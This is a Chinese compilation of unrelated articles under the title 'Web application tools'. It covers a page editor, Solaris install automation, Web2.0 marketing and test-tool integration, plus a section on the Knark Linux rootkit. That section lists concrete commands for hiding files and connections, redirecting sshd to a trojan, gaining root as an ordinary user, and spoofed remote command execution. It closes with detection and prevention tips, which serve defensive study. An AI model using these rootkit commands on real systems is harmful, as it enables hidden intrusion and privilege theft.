Web应用工具

2024-07-24

Web应用工具(共10篇)

Web应用工具 篇1

在Web应用系统的开发过程中, 由于需求沟通不畅或是系统交付后的业务发展, 用户经常会对技术人员就系统界面提出修改意见。有时, 技术人员响应不及时还会让客户满意度降低。这类问题如果不能妥善解决, 不仅增加了软件开发、维护成本, 同时也提高了客户关系维持成本。如果可以提供一个面向用户的开发工具, 使得用户能够自己定义新的界面, 并且能够对这些自定义的界面进行修改, 就会方便用户参与到系统的开发和维护中来, 这将有效的提高系统的灵活性和可维护性, 也就有效的降低了系统的开发、维护成本。web应用系统中存在很多页面相似, 控件种类少, 易于归纳的情况, 本文提出的工具在面对这样的情况时可以达到较好的效果。

1 基本需求

该工具需满足以下基本需求: (1) 操作界面是Web方式的, 以继承应用系统的操作风格; (2) 使用对象是Web应用系统的用户, 以方便其定制需要的功能界面; (3) 不是以独立的网页编辑器的形式存在, 而是与具体的Web应用系统集成在一起。

2 实现技术

2.1 总体结构

该工具的系统由页面编辑工具、页面数据定义规范、页面显示工具、数据库关联程序四部分构成。页面编辑工具以Web页面的形式提供给用户一个编辑页面的平台;页面数据定义规范采用XML文档的形式保存页面的相关信息;页面显示工具通过解析XML文档内容把页面数据定义规范定义的数据内容还原成页面;数据库关联程序根据页面定义数据中有关数据库的内容从数据库中取出数据再传给页面。

2.2 页面编辑工具

页面编辑工具提供一组预定义的网页控件的集合, 并允许用户对控件的属性以及页面的属性进行设置。具体的Web应用系统允许用户自定义网页时所能使用的控件可能是不同的, 所以页面编辑工具提供的预定义控件对不同的Web应用系统可能是不同的。相比于通常的网页编辑器 (如front Page) , 本页面编辑器的界面形式是Web页面, 能无缝地结合到整个Web应用系统中, 使用户易于使用。

2.3 页面数据定义规范

页面数据定义规范是用户自定义页面的内部表示形式, 实现对用户自定义页面的保存。由于用户自定义页面包含于网页编辑工具页面中, 所以需要从网页编辑工具页面中分离出用户编辑的内容, 再以某种形式保存。网页控件在HTML中表示为一系列的标签, 所以可以自定义一种结构来保存网页控件及其属性。同样, 也可以自定义一种结构来实现用户自定义页面的保存。XML是一种自描述能力极强的数据组织方式, 提供了一种描述结构化数据的方法, 它使用一组标记来描绘数据元素。为此我们需归纳各种网页控件所具有的信息, 使其在设定的XML结构中都能得到体现, 其次还需设定一些标签来区分不同类型的控件及多个相同类型的控件。最后再利用XML Schema来规定XML文档结构, 这样既方便了XML文档的解析过程, 还提高了系统的可靠性。

2.4 页面数据定义规范实例

含有一个静态框和一个输入框的页面的页面数据规范如下。

2.5 页面显示工具

页面显示工具输入是页面数据定义规范 (XM文档) , 输出是Web页面。这里有两个技术点:一是如何进行页面数据定义规范的解析;二是如何把解析出来的内容还原成Web页面, 对于第一个技术点, 由于事先定义好了XML Schema结构, 所以只要利用这个结构对页面定义书作个遍历, 就可以知道页面定义书里包含了多少个控件, 这些控件的类型以及这些控件对应的属性。对于第二个技术点, 由于已经知道了控件的数量、类型和属性, 只需利用网页控件的动态添加技术, 在一个空的Web页面添加这些控件就可以了。除了以上的两点, 页面显示工具还提供了一个与数据库关联程序相联系的接口, 以便从数据库中获得页面所需的数据。

2.6 数据库关联程序

数据库关联程序根据从页面数据定义规范中解析出来的数据库字段, 生成和执行从数据库中获得这些字段数据的SQL语句, 最后把从数据库中获得的数据发送给相应的Web页面。

2.7 与Web应用系统的结合

该工具与web应用系统结合的过程中, 有三个方面需要注意:一是对于用户自定义生成的页面, 在系统中需要提供一个接口, 以便用户能及时地看到这些页面, 并能利用页面显示工具打开这些页面;二是页面编辑器只能对用本工具生成的页面进行修改, 而不能对事先开发好的系统页面进行编辑;三是为了保证系统的完整性和安全性, 在实际运用中用户只能自定义功能较为独立的简单页面, 如查询页面和报表显示页面。

3 结语

软件开发过程中, 用户的充分参与往往是软件开发成功的一个关键因素。在Web应用系统开发中, 如能提供以上这样一个支持用户自定义页面的工具, 可大大提高用户的参与度, 而且还能减少系统的开发和维护费用。目前, 我们在多个Web应用系统的开发过程中, 对该工具和由用户参与软件开发与维护的思路进行了实践, 取得了较好的效果, 也得到了用户的肯定。

Web应用工具 篇2

Advanced Web Ranking 是一款商业软件,企业版/专业版/个人版授权分别为$399/$199/$99,更多请看 。

如果你想不花钱试用这款商业软件,可以到这里下载一个较旧的版本(Advanced Web Ranking V4.71,38.1Mb),按压缩包中的说明安装即可,

最新版本没有授权无法测试,但试用这个版本发现,功能相当不错的,有兴趣的朋友可以安装使用一下。

*注:仅为推荐,恕不解答安装、使用等相关的任何问题。

作者:匪际

Web应用工具 篇3

【关键词】Web;Solaris环境;自动化安装;工具开发

【分类号】TP311.52

1引言

随着我国社会主义现代化的飞速发展,我国各行各业都得到了长足的发展和飞速的进步。计算机引领的互联网科技成为了当代各行各业飞速发展的主用技术生产力,其方便了企业资源的共享和使用,节约了当代企业工作的时间和成本,提升了当代企业经营管理的整体效率。在信息化大时代的今天,计算机技术仿佛一把双刃剑,除了给当代企业发展带来了新的动力之外,还为企业增加了较大的信息管理成本。计算机技术的运用来带了企业信息战略投入成本的提高,其中技术更新和研发、计算机服务器维护等成本已然成为了当今企业运用信息化发展战略不得不考虑的关键。

在大多数计算机技术较为发达的企业当中,都会拥有Sun服务器,而对于这些sun服务器的日常维护需要大量的人力、物力和财力。由于Sun服务器的运行需要,企业工作人员需要经常为其安装Solaris程序,并且需要在安装程序之后对服务器进行多次调试。现有大多数企业由于计算机人才不足、企业资金不足等原因在面对此项难题时大多数采用的是光盘安装方法,从而给企业服务器造成了较大的压力,并且极为不利于企业服务器运营效率的提升。因此,在本文中作者结合自身多年从事计算机领域工作经验,通过对大量文献的阅读,对Web的Solaris环境下自动化软件安装工具的开发进行研究,并希望通过此工具开发能够节约大量重复安装的时间成本,从而不断提升当前服务的工作效率。

2 Solaris环境安装自动化工具的整体架构设计

本文所研究设计的自动化工具是基于互联网前端开发的Web服务器。作者在本文当中主要采用的是CGI的技术,通过整体框架的设计能够使客户端对接的浏览器实现自主信息搜送和安装,并且能够使其通过HTML页面来实现对用户所需的Solaris版本进行自动化的选择。通过以上的设计,能够使信息管理工作人员在向系统提交表单之后,通过该自动化处理工具向Web服务器发送信号。Web服务器接受到信号之后,通过自动调用CGI脚本的功能,来实现传统模式安装Solaris环境,并且能够对该环境进行配置和进一步的调试。在实际的操作和运行过程中,拥有Sun服务器的企业应当将Web服务器与Jumpstart服务器进行有效的对接,将两者一起安装于Sun服务器之上,从而能够有效的保证Jumpstart服务器在接受到信息处理命令之后能够顺利实现选择性的调用CGI脚本程序的功能。

3各功能模块的具体实现

3.1 Sun SPARC服务器的安装与配置

将Solaris的运行环境,通过光盘在CD-ROM中进行手工安装。并通过连接有Sun SPARC服务器的电子计算机对该环境进行调节和配置。

3.2.Web服务器的配置

参照Solaris光盘附带的安装说明文档对企业Sun SPARC的服务器进行配置,并在其之上对Jumpstart服务器进行加载和安装、调试。对于具体安装、加载、卸载和配置的方法和途径,可以具体的参照光盘当中由SUN公司所预留的Solaris的详细安装、卸载和配置的步骤文档。作者在本文当中将不再对具体的操作方法和方式进行重述。

3.3 Jumpstart服务器的安装与配置

Solaris安装光盘当中已经对Apache Web server基础环境进行了安装,因此在此处不用重新下载安装Apache Web server。对于不具有该基础环境安装和调试经验的程度人员或企业,可以具体的参照光盘中所提供的说明文件对Apache Web server的基本配置方法进行学习。因此,作者在本文当中将不再对具体的操作方法和方式进行重述。但是,如果发生安装后无法顺利运行的情况,应重新下载刻录光盘进行专门安装,以有效的保证信息管理人员能够在使用服务器过程中能够顺利的在其中打开Web操作运行页面。

3.4客户端网页的设计

在对客户端中所使用的网页进行设计时,可以使用企业程序人员擅长使用的Web页面设计工具去对编写网页当中的HTML数据,现阶段最为常用的工具是FrontPage。在对客户端中的网页进行HTML的相关数据进行设计时,应当注重对Form相关程序的设置,其是整个网页能否顺利实现运行和操作的关键所在。在对表单进行设计时,应当注重其中选项字段的设计,将其设置为需要必选的字段选项,具体包括以下两个:(1)所需要安装服务器的具体名称;(2)所需要安装的Solaris的具体版本。在对这两个选项内容进行设计时,应当使用列表框,将现有服务器当中拥有的能够实现连接服务器的名称以及能够顺利安装具有完整资源的Solaris版本进行录入,从而保证企业信息管理相关工作人员能够使用鼠标进行快捷的选择以帮助其实现操作的目的。除此之外,还可以设置其他的选项Form,例如:所需要安装的Solaris是完整的安装还是仅仅进行升级的安装。另外,如果企业服务器经常需要暴露在公开的环境当中,还应当对服务器使用权限进行控制,在登陆服务器,或者进行安装时,需要用户输入相应的密码。

3.5服务器端CGI脚本的设计

在进行上述功能的设计之后,还需要对服务器端当中的CGI脚本进行设计。对该脚本进行设计的目的是为了有效的保证客户端在接受到信息之后能够将其顺利的录入系统,进而能够更具信息传递的命令对所需要安装的程序及其版本进行选择及配置。

4结论

通过本文的研究,可以发现,采用传统方法在Sun服务器当中安装Solaris程序,并对该程序进行环境的调试将会给企业带来巨大的日常维护和安装压力,并且极为不利于企业服务器整体运营效率的提高。为此,作者在本文当中基于前段开发技术,对Sun服务器运行环境下的Solaris程序自动化安装进行了研究。并且,针对各个功能模块提出了自己的设计理念,主要包括以下几个方面:(1)Sun SPARC服务器的安装与配置;(2)Web服务器的安装与配置;(3)Jumpstart服务器的安装与配置;(4)客户端网页的设计;(5)Jumpstart服务器中对CGI脚本的设计与调试。通过以上功能模块的设计来保证该自动化安装工具的运行,为提升企业服务器运行效率和节约服务器运行、维护成本做出贡献。

【参考文献】

Web应用工具 篇4

一、Web2.0的概述

Web2.0 (也有人称为互联网2.0) 是相对Web1.0 (2003年以前的Internet模式) 的新的Internet应用的统称, 它是以SNS、TAG、Blog、RSS、Wiki等社会软件的应用为核心, 依据六度关系理论、XML、AJAX等新理论和技术实现的Internet的新一代应用, 是以此从核心内容到外部应用的革命。

二、Web2.0营销

从网络经济学的角度来看, 网络营销降低了流通成本, 增加了产品价值。网络贸易的巨大发展潜力, 就在于可以极大地降低物流成本, 节约企业开支, 提高企业效益。因此, Web2.0在网络营销中的应用已经成为网络营销的崭新领域。

(一) Web2.0营销的概念

Web2.0营销是指对Blog营销, RSS营销, 维克 (Wiki) 等Web2.0应用, 技术, 理论的一个综合表现。它的核心是注重用户的交互作用, 让用户即是网站的浏览者, 也是网站内容的建设者。由于用户能够方便地为自己所消费的产品表达意见, 因此这些内容先天具备再次推广产品的价值。

(二) Web2.0营销的主要工具

1. 博客

Blog最早被称为网络日志, 具有“人人可以用来传播自己的观点与声音”的属性。2002年, 博客的概念被引入中国后得到快速发展。2005年, 博客得到规模性增长。2006年, 网民注册的博客空间更是超过3300万个。

2. 微博客营销

所谓微博客营销 (micro bloging) 就是一种非正式的迷你型博客, 简称微博客或者一句话博客。它是一种可以及时发布消息的类似博客的系统, 它最大的特点就是集成化和开放化, 你可以通过手机, IM软件 (MSN, QQ, SKype) 等途径向你的微博客发布消息。微博客的另一个点点还在于“微”, 即一般发布的消息只能是只言片语, 且每次只能发送140个字符。

3. 播客营销

简单来说, 播客就是以视频或音频为主要内容的博客。播客和博客一样, 都具备网络特点, 强调个性与分享, 支持RSS等, 只不过播客的主要内容的表现形式不是以文字, 图片为主, 而是以视频、声音为主。

4. 视频分享

视频分享在运营方式上以网站形式为主, 在视频长度上以短片片断福多, 在视频内容上以用户自创制作为主。其优点是用户参与度高;缺点是内容审核机制要求高。国内有名的视频媒体网站有土豆网、优酷网、酷6网等。

5. WIKI——百科全书

Wiki——一种多人协作的写作工具。Wiki站点可以有多人 (甚至任何访问者) 维护, 每个人都可以发表自己的意见, 或者对共同的主题进行扩展或者探讨。

三、Web2.0的营销优势——中小型企业如何搭乘Web2.0的营销快车?

相对于大企业而言, 中小企业可以更细致地照顾到细分后顾客的需求, 对顾客的需求具有更快的反应速度。

(一) 以快制慢, 化“流量“为”留量“

在互联网时代, 以快制慢成为中小企业强化自身优势的一个方向。中小企业由于信息的搜寻成本过高或自身实力的限制, 无法找到最佳交易对象。现在通过像阿里巴巴、慧聪这类专业网站, 降低交易成本。而借助淘宝、eBay等在线拍卖网站, 中小企业可以以很低的成本建立网上商店, 获得更多商业机会。

(二) 精准营销, 提高顾客忠诚度

传统商业模式下, 顾客可能因为搜索成本较高等原因, 不愿轻易改变自己的购买习惯。而在Web2.0的营销环境下, 寻找替代商品只需点击鼠标即可轻松实现, 这种成本低的行为, 导致顾客忠诚度的不断下降。因此, 如何提高顾客忠诚度, 成为中小企业管理人士目前最需要考虑的问题。

(三) 补缺营销, 寻找市场机会

Web2.0时代的信息传播速度加快, 通过博客, 播客等传播媒介, 普通人也能够成为信息发布中心。与传统媒介比, 新媒介更加及时, 真实地将发生于各地的事件呈现在人们眼前, 企业的失误更容易被发现和传播。与大企业容易被关注相反, 中小企业不易被关注, 也不易成为被攻击对象。

四、博客营销

(一) 博客营销的概念

博客营销就是利用博客这种网络应用形式开展网络营销, 是公司或者企业利用博客这种网络交互性平台, 发布并更新企业或公司的相关概况及信息, 并且密切关注并及时回复平台上客户对于企业的咨询和疑问, 并通过较强的博客平台帮助企业或公司零成本获得搜索引擎的较前排位, 以达到宣传目的的营销手段。

(二) 博客营销的优势

博客这种网络日记的内容是公开的, 自己可以发表自己的网络日记, 也可以阅读他人的日记, 因此是一种个人思想、观点、知识等在互联网上的共享。

1. 精准有效

博客大多有所分类, 因而每个博客的受众人群有所区别, 广告主可根据不同类别博客分类投放不同性质的广告, 因而投放广告更为精准, 且细分程度越高, 投放广告越有效。

2. 流传互动性好

每个博客都拥有相同兴趣爱好的博客圈子, 而且此圈子内部的博客之间相互影响力大, 可信程度较高, 朋友之间互动性强, 因此创造的口碑效应和品牌价值非常大。品牌价值远非传统方式的广告能比。

3. 影响力大, 可引导网络舆论

随着用户规模扩大, 博客的威力也越来越明显, 特别是高端用户对评论影响面和影响力越来越大, 博客渐渐成为网民们的“意见领袖“, 引导网民的舆论潮流, 他们所发表的评价会在极短时间内在互联网上迅速传播开来, 对企业品牌造成巨大影响。

结论

本文主要论述了web2.0营销的相关概念, 特别论述了博客营销及微博客营销对于中小型企业乃至个人在商业社会的重要作用。综上, 本文结合了当前网络营销的最新理念, 目的旨在通过理论联系实际, 阐述了web2.0时代, 博客营销的导入将是现代化企业提升自我知名度、获得最大利润的最优途径。

摘要:本文概述了现代中小型企业的前沿课题——如何应用Web2.0营销工具之博客营销进行中小型企业的商业运作, 特别分析了业界近年来高度关注的Web2.0的概念及特点, 论述了Web2.0营销的概念及主要工具, 分析了博客营销在当今社会中的发展和优势, 得出了以下结论:在Web2.0时代, 互联网给中小型企业乃至个人带来了很强的竞争优势, 利用博客营销或微博客营销, 可以使中小型企业走出固有的营销模式, 有利于增强企业的国际竞争力, 有利于获得消费者的认同。综上所述, 现代化的企业应善于利用互联网提供的良好平台, 利用web2.0营销工具如口碑营销, 网络社区营销, 特别是博客营销进行行之有效的营销策略, 这样才有利于中小型企业赶超世界著名的国际化大型企业。

关键词:Web2.0营销,博客,微博客,播客营销,及时通信,视频分享

参考文献

[1]宋沛军.网络营销理论与实务.[M].西安:西安电子科技大学出版社, 2010。

[2]李甫民.网络营销教程[M].北京:机械工业出版社, 2005。

[3] (美) 拜瑞.斯瓦斯丁.B to B营销.[M].成都:中国三峡出版社, 2002。

[4]刘朔.品牌命名的十种方法.[J].中国中小企业, 2006, (04) 。

Web应用工具 篇5

注意:本文是用于管理员学习之用,不可用于进行网络攻击否则带来的任何法律后果自行负责。本文作者不对由于本文导致的任何后果负任何责任。

一、什么是“rootkit”?

入侵者入侵后往往会进行清理脚印和留后门等工作,最常使用的后门创建工具就是rootkit。不要被名字所迷惑,这个所谓的“rootkit”可不是给超级用户root用的,它是入侵者在入侵了一太主机后,用来做创建后门并加以伪装用的程序包。这个程序包里通常包括了日志清理器,后门等程序。同时,程序包里通常还带有一些伪造的ps、ls、who、w、netstat等原本属于系统本身的程序,这样的话,程序员在试图通过这些命令查询系统状况的时候,就无法通过这些假的系统程序发觉入侵者的行踪。

在一些 组织中,rootkit (或者backdoor) 是一个非常感兴趣的话题。各种不同的rootkit被开发并发布在internet上。在这些rootkit之中, LKM尤其被人关注, 因为它是利用现代操作系统的模块技术。作为内核的一部分运行,这种rootkit将会越来越比传统技术更加强大更加不易被发觉。一旦被安装运行到目标机器上, 系统就会完全被控制在hacker手中了。甚至系统管理员根本找不到安全隐患的痕迹, 因为他们不能再信任它们的操作系统了。后门程序的目的就是甚至系统管理员企图弥补系统漏洞的时候也可以给hacker系统的访问权限。

入侵者通过:设置uid程序, 系统木马程序, cron后门等方法来实现入侵者以后从非特权用户使用root权限。

*设置uid程序。 在一些文件系统理放一些设置uid脚本程序。无论何时它们只要执行这个程序它们就会成为root。

*系统木马程序。 替换一些系统程序,如“login”程序。因此, 只要满足一定的条件,那些程序就会给 最高权限。

*Cron后门。 在cron增加或修改一些任务,在某个特定的时间程序运行,他们就可以获得最高权限。

具体可能通过以下方法给予远程用户以最高访问权限: “.rhost” 文件, ssh认证密钥, bind shell, 木马服务程序。

*“.rhosts” 文件。一旦 “+ +”被加入某个用户的.rhosts文件里, 任何人在任何地方都可以用这个账号来登陆进来而不需要密码。

*ssh认证密钥。 把他自己的公共密钥放到目标机器的ssh配置文件“authorized_keys”里, 他可以用该账号来访问机器而不需要密码。

*Bind shell。 绑定一个shell到一个特定的tcp端口。任何人telnet这个端口都可以获得交互的shell。更多精巧的这种方式的后门可以基于udp,或者未连接的tcp, 甚至icmp协议。

*Trojaned服务程序。任何打开的服务都可以成为木马来为远程用户提供访问权限。例如, 利用inetd服务在一个特定的端口来创建一个bind shell,或者通过ssh守护进程提供访问途径。

在入侵者植入和运行后门程序之后, 他会设法隐藏自己存在的证据,这主要涉及到两个方面问题: 如何来隐藏他的文件且如何来隐藏他的进程。

为了隐藏文件, 入侵者需要做如下事情: 替换一些系统常用命令如“ls”, “du”, “fsck”。在底层方面, 他们通过把硬盘里的一些区域标记为坏块并把它的文件放在那里。或者如果他足够疯狂,他会把一些文件放入引导块里。

为了隐藏进程, 他可以替换 “ps”程序, 或者通过修改argv[]来使程序看起来象一个合法的服务程序。有趣的是把一个程序改成中断驱动的话,它就不会出现在进程表里了。

RootKit-Knark的历史

Knark是第二代的新型rootkit工具-其基于LJM(loadable kernel module)技术,使用这种技术可以有效地隐藏系统的信息。作者在代码和README文件中都标注有不承担责任的声明,声明该代码不可以被用作非法活动。然而该软件可以容易地被用于这种目的。

Knark是由creed@sekure.net编写的,主要基于www.dataguard.no/bugtraq/_4/0059.html中Runar Jensen编写的代码heroin.c,设计思想主要来自于Phrack 52中plaguez发表的文章Weakening the Linux Kernel“。在重新编写了heroin.c的大部分代码以后,Creed决定重新命名为”Knark“,在瑞典语中是指吸毒者。Creed编写的其他软件可以在www.sekure.net/~happy-h/得到,但是由于该站点只有瑞典语版本,因此应用并不广泛。

Knark的第一个公开版本是0.41,发布于June, 。可以在B4B0 #9中索引到它:packetstorm.securify.com/mag/b4b0/b4b0-09.txt。随后0.50和0.59被发布,当前版本是0.59。可以从这里下载0.59版。

Knark特性

Knark0.59具有以下特性:

*隐藏或显示文件或目录

*隐藏TCP或UDP连接

*程序执行重定向

*非授权地用户权限增加(”rootme“)

*改变一个运行进程的UID/GID的工具

*非授权地、特权程序远程执行守护进程

*Kill ?31来隐藏运行的进程

联合使用程序执行重新定向和文件隐藏,入侵者能提供各种后门程序执行。由于执行重定向是在内核级别进行的,因此文件检测工具不会发现程序文件被修改-原始的执行程序并没有被修改,因此配置检测工具在路径环境中也不会发现任何异常。

如果Knark结合另外一个用来隐藏系统当前加载的模块的LKM工具modhide,就可能实现甚至通过lsmod命令也不能发现knark的存在。

Knark软件包的安装和使用

该软件包的核心软件是knark,c,它是一个Linux LKM(loadable kernel-module)。运行命令”make“来编译knark软件包,通过”insmod knark“命令来加载该模块。当knark被加载,隐藏目录/proc/knark被创建,该目录下将包含以下文件:

author 作者自我介绍

files 系统中隐藏文件列表

nethides 在/proc/net/[tcp|udp]隐藏的字符串

pids 被隐藏的pids列表,格式类似于ps命令输出

redirects 被重定向的可执行程序入口列表

该软件包编译以后将有下面这些工具软件(它们都依赖于被加载的模块knark.o,

除了taskhack.c,其用于直接修改/dev/kmem)

hidef 用于在系统中隐藏文件

在/usr/lib目录下创建子目录hax0r,然后运行命令”./hidef /usr/lib/.hax0r“,则该目录会被隐藏,”ls“或”du“等命令都不能显示该目录及其子目录。

unhidef 用来恢复被隐藏的文件

你可以通过访问”cat /proc/knark/files“来察看你隐藏了哪些文件。通过”./unhidef /usr/lib/.hax0r“命令来解除对隐藏文件的隐藏。但是这里有个小小的bug,使得被隐藏的目录在/proc/knark/files中显示的是其加载开始的路径,也就是说如果系统有一个文件系统加载在/mnt,你隐藏了/mnt/secret,则在/proc/knark/files中显示的被隐藏的目录为/secret。因此不会影响根文件被隐藏的目录。

ered 用来配置重定向程序的执行

拷贝特洛伊木马版本的sshd为/usr/lib/.hax0r/sshd_trojan,然后运行”./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan“,这样当/usr/local/sbin/sshd被运行时,实际上运行的特洛伊木马版本的sshd。可以通过命令./ered -c来清楚所有的可执行程序重定向。

nethide 用来隐藏/proc/net/tcp和/proc/net/udp中的某些字符串

netstat命令就不会得到指定的链接信息。通过命令/nethide ”:ABCD “可以隐藏和端口号ABCD(十六进制)相关的连接(43981 dec)。也就是对/proc/net/[tcp|udp]读取时进行”grep -v“操作。

你必需理解使用该程序从/proc/net/[tcp|udp]得到的输出的意义。假设系统运行有sshd,那么连接到本地22端口以后,运行”netstat -at“,则输出可能包含:

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED

现在我们来检测文件/proc/net/tcp:

cat /proc/net/tcp

则输出可能包含入下内容:

local_address rem_address blablabla...

0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000

若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22号端口相关的内容就要使用0100007F:0016来标识该链接。因此

./nethide ”0100007F:0016“

将隐藏to/from localhost:22相关的链接信息。

./nethide ”:ABCD “

来去除隐藏。

rootme 用来实现非特权用户获得root访问权限

./rootme /bin/sh

就可以实现以root身份运行/bin/sh。

./rootme /bin/ls -l /root

则是仅仅以root身份运行单个命令。

taskhack 用来改变某个运行着的进程的uid和gid

./taskhack -alluid=0 pid

该命令将进程pid的所有*uid@#s (uid, euid, suid, fsuid)为0 (root).

ps aux | grep bash

creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash

现在来改变该进程的euid为0:

./taskhack -euid=0 91

ps aux | grep bash

root (!) 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash

rexec 用来远程执行knark-server的命令:

./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER

这命令将从www.microsoft.com:53发送一个伪装的udp数据包到 haxored.server.nu:53,来运行haxored.server.nu的命令”/bin/touch /LUDER“

入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下创建的隐藏子目录,如/dev/.ida/.knard等等。

检测系统是否被安装了Knark

Knark的作者Creed,发布了一个工具:knarkfinder.c来发现Knark隐藏的进程。

检查系统是否安装有Knark的最直接有效的方法是以非特权用户身份来运行Knark的一个软件包如:rootme,看该用户是否能获得root权限。由于目前Knark目前没有认证机制,因此入股系统被安装了Knark任何一个本地用户运行这个程序都能获得root权限。

还有一个最有效的发现系统是否被knark或者类似的rootkit所感染的方法就是使用kstat来检测,具体参考本站的Nexeon写的解决方案文章:检测LKM rootkit。

Knark防范

防止knark最有效的方法是阻止入侵者获得root权限。但是在使用一切常规的方法进行安全防范以后,防止knark之类的基于LKM技术的rootkit的方法是:

*创建和使用不支持可加载模块的内核,也就是使用单块内核。这样knark就不能插入到内核中去了。

基于Web的测试工具集成研究 篇6

随着软件行业的迅猛发展, 软件测试越来越被人们重视, 测试工具的出现大大提高了测试的自动化程度。但新的问题又随之产生:大多测试工具是基于单机版或C/S版本的, 用户需在本机安装才能使用;多数工具只能对系统的某几方面性能进行测试, 往往需要多种工具才能进行全面系统地测试。同时为了推进上海市研发公共服务平台建设, 利用有限的资源为更多中小型企业服务, 提出了提供用户远程使用测试工具的设想。

近年来, 在仪器设备、测试网络化方面的研究很多:如远程计算[1], 微波仪器的远程自动测试[2], 同时网络化测试系统[3]也在工业、军事等领域中产生并得到了实际应用。但对测试工具的集成, 尤其是远程方式的集成, 此类研究还很少。本文对这种基于Web形式的测试工具集成进行了探究, 结合现比较主流的Web框架, 分析了如何进行远程调用、如何构建合适的框架以及如何实现工具的远程调用, 建立了一种新的网络化测试工具集成方案。同时还提出了一种封装思想, 实现了测试工具与整个系统框架间的松耦合, 为集成多种测试工具创造了条件。

1 系统框架

1.1 远程测试流程

远程测试是测试过程网络化的一种形式, 使用户不去现场也可使用测试工具, 达到与本地一样的效果, 即提供相同的功能, 尽可能快的响应时间。其执行周期可分为:测试准备、测试启动、测试执行、测试结束、测试结果查看分析。其中测试准备包括测试文件上传和参数设置, 流程如图1所示。

此流程是通用的, 大多数测试工具都可按照它来实施。但在测试准备中, 不同的测试工具对测试文件的要求有所不同, 对参数的设置也不一样, 因此, 可以根据工具特性, 为每个工具量身定制准备工作的界面。从测试启动开始直至结束, 系统将会把每个测试工具包装成一个测试服务, 并采用服务调用的形式进行测试。如此, 便形成了一个满足测试工具个性要求的通用流程模版。

1.2 结构框架

本系统是一个Web应用程序, 采用的结构是基于MVC框架[4]的。其核心功能是远程调用测试工具进行测试, 按照MVC的框架模式, 该功能应由模型层来实现。但在集成多种工具的情况下, 将会造成此层的臃肿, 负担过重。因此, 对模型层进一步分解, 总的框架图如图2所示。

扩展后的模型层划分为Web模型层、测试工具管理层、测试工具服务层三层, 它们的功能分别为:

Web模型层 除了完成上层提交的业务逻辑外, 还负责通过测试工具管理层与测试工具服务层进行交互。

测试工具管理层 测试工具管理层作为Web端与测试工具之间进行交互的媒介。主要负责解析测试信息;包装测试结果;根据测试工具信息, 查找测试工具服务等工作。

测试工具服务层 测试工具服务层由各种测试工具的测试服务组成。它们根据工具的自身特点来完成一定的测试功能。每个测试服务都需在工具管理层进行注册, 记录服务所对应的测试工具、物理位置等信息, 以便管理层能顺利找到该服务。

视图层、控制层、模型层、测试工具管理层和测试工具服务层组成了新的结构框架。在这五层中, 视图层负责用户的界面;控制层负责用户请求的转向;模型层作为测试的驱动层, 通过调用下层应用的形式来启动测试工具;测试工具管理层作为测试服务的接口层和调度层, 找寻测试服务, 并对上下层交互的信息进行包装解析;测试服务层完成的则是关于测试功能的所有逻辑任务。可见对于模型层, 不用考虑每个测试工具的具体内容;而测试工具服务层, 由相互独立的测试服务组成, 每个测试工具与测试工具管理层之间将有一个协议, 规定信息交换的规则。新的结构不仅有利于开发人员的分工, 提高代码复用率, 更为广泛的第三方测试工具的集成提供了便利。

1.3 基于框架的流程实现

整个系统由Web视图、Web控制、Web模型、测试工具管理、测试工具服务这五个层次构成, 它们互相配合, 实现了测试工具的远程测试。图3描述了各层实现整个流程的过程。

上述是一个比较简单的实现过程, 未考虑测试过程中使用者与测试工具的交互以及一些网络异常情况。对此, 在对测试工具进行包装时, 把测试工具管理层调用测试工具的过程转换为调用一个或者若干个独立的原子方法的过程, 这样不仅能在一定程度上克服网络异常造成的损失, 还有利于对测试过程进行控制。

2 测试工具封装技术

2.1 工具封装思想

工具封装是为每个测试工具添加一层封装软件, 提供对集成框架的公共程序接口。在设计过程中, 关注了设计对象及对象间的关系, 使得集成框架不仅能够管理用户的测试源文件和测试结果文件, 而且能够帮助用户跟踪并参与实际测试过程。

工具封装的任务包含两个方面:一是为工具提供注册、激活和管理的标准接口, 使得框架能以正确的语法、正确的参数和正确的数据调用工具实现一定的功能;二是建立框架数据与工具数据之间的关系, 通过接口连接, 实现框架与测试工具间的双向操作。在此, 分别将这两个任务称之为工具的功能封装和数据封装, 基本思路包含以下几个方面:

1) 基于Browser/Server平台, 将工具封装界面与封装服务相分离, 通过测试工具管理中间件连接界面与服务, 这样既可解决工具的异构性, 又保证了良好的开放性和可扩展性。

2) 将工具封装分为功能封装和数据封装两级, 所有测试工具必须采用事先定义的标准元数据进行描述, 并进行功能封装和数据封装。

3) 以测试数据的内部语义为基础的数据封装, 细化了数据管理粒度。设计结构信息以进行对象的粒度管理, 设计表示信息并以文件方式在工具间传输。

2.2 数据封装

数据封装是为了屏蔽测试工具不同而引起的Web层交互数据的形式的差异。一般测试过程中Web层与测试工具交互的数据可分为四类:测试前提交的测试信息、测试过程中的交互命令、测试过程中的过程数据、测试结束后的测试结果。这些数据在传递时通过测试工具管理层进行包装或者解析后到达目标层, 其过程如图4所示。

· testdata表示的是一个包含所有测试信息的序列化数据元, 其内容包括:

testdata={工具名称, 测试文件名称, 测试文件内容, 测试文件数目, 参数, [其他信息]};

· 命令原语表示的是预先约定的用户控制测试过程的一个命令, 它的形式可以是String或其它类型;

· 过程信息表示的是测试过程中测试工具控制台中的输出;

· resultdata表示的是一个包含有所有结果信息的序列化数据元, 其内容包括:

resultdata={测试工具名称, 测试时间, 所有测试过程信息, 结果文件名称, 结果文件内容, 结果文件数目, [其它信息]}。

在测试过程中, Web层把测试信息包装成testdata, 测试工具管理层 (以下简称管理层) 接收后, 根据测试工具信息, 把它解析成测试文件和测试工具能识别的测试脚本, 并传递给测试工具。测试工具服务层根据这些信息启动测试。测试执行过程中, 测试工具服务层把获取的实时过程信息发送给管理层, 管理层以文件的形式传送给Web层。测试完成后, 测试工具服务层返回结果文件和过程信息文件, 管理层再次把这些信息包装成resultdata传送给Web层。这样就完成了所有的数据封装。

数据封装使得Web模型层不用考虑每个测试工具中交互数据的具体形式, 而测试工具服务也无需考虑用户提交的数据是什么格式的, 一切都交给服务管理层来进行解析、包装, 从而实现了层间的松耦合。
